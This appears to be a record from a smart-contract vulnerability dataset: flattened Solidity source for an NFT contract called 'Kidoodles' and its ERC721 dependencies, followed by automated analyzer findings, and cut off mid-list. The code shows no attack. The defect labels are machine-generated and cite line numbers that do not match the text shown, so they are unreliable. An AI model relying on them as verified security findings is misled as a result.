function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: ERC721Enumerable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: IERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: IERC721Enumerable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: IERC721Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: IERC721Receiver.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: Kidoodles.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "./Ownable.sol";
contract Kidoodles is ERC721A, Ownable {
constructor(string memory baseURI) ERC721A("Kidoodles", "KID") {
setBaseURI(baseURI);
}
uint256 public constant MAX_SUPPLY = 1111;
uint256 private mintCount = 0;
uint256 public price = 82000000000000000;
string private baseTokenURI;
bool public saleOpen = false;
event Minted(uint256 totalMinted);
function totalSupply() public view override returns (uint256) {
return mintCount;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
}
function changePrice(uint256 _newPrice) external onlyOwner {
price = _newPrice;
}
function flipSale() external onlyOwner {
saleOpen = !saleOpen;
}
function withdraw() external onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function mint(address _to, uint256 _count) external payable {
uint256 supply = totalSupply();
require(supply + _count <= MAX_SUPPLY, "Exceeds maximum supply");
require(_count > 0, "Minimum 1 NFT has to be minted per transaction");
if (msg.sender != owner()) {
require(saleOpen, "Sale is not open yet");
require(
_count <= 15,
"Maximum 15 NFTs can be minted per transaction"
);
require(
msg.value >= price * _count,
"Ether sent with this transaction is not correct"
);
}
mintCount += _count;
_safeMint(_to, _count);
emit Minted(_count);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
}
// File: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Strings.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
| [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1157"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["195"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["1208", "1254", "1153"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["1806"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1969", "1991", "859", "885"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["357"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["1719", "973", "1598", "1933", "1906", "1408", "1921", "361", "878", "672"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1862", "1150", "1149", "1250", "1249", "1205", "1204", "580", "639", "638", "606", "1259", "1212"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Strings.sol": [64, 65, 66, 56, 57, 58, 59, 60, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Strings.sol": [40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Strings.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Strings.sol": [4]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 2008, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 557, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 578, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 585, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 601, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 604, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 611, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 636, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1143, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1159, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1167, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1198, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1240, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1243, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1271, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1930, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 960, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 1806, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1828, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 8, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 234, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 264, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 298, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 749, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1377, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1541, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1570, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1704, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1739, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1771, "severity": 1}, {"rule": 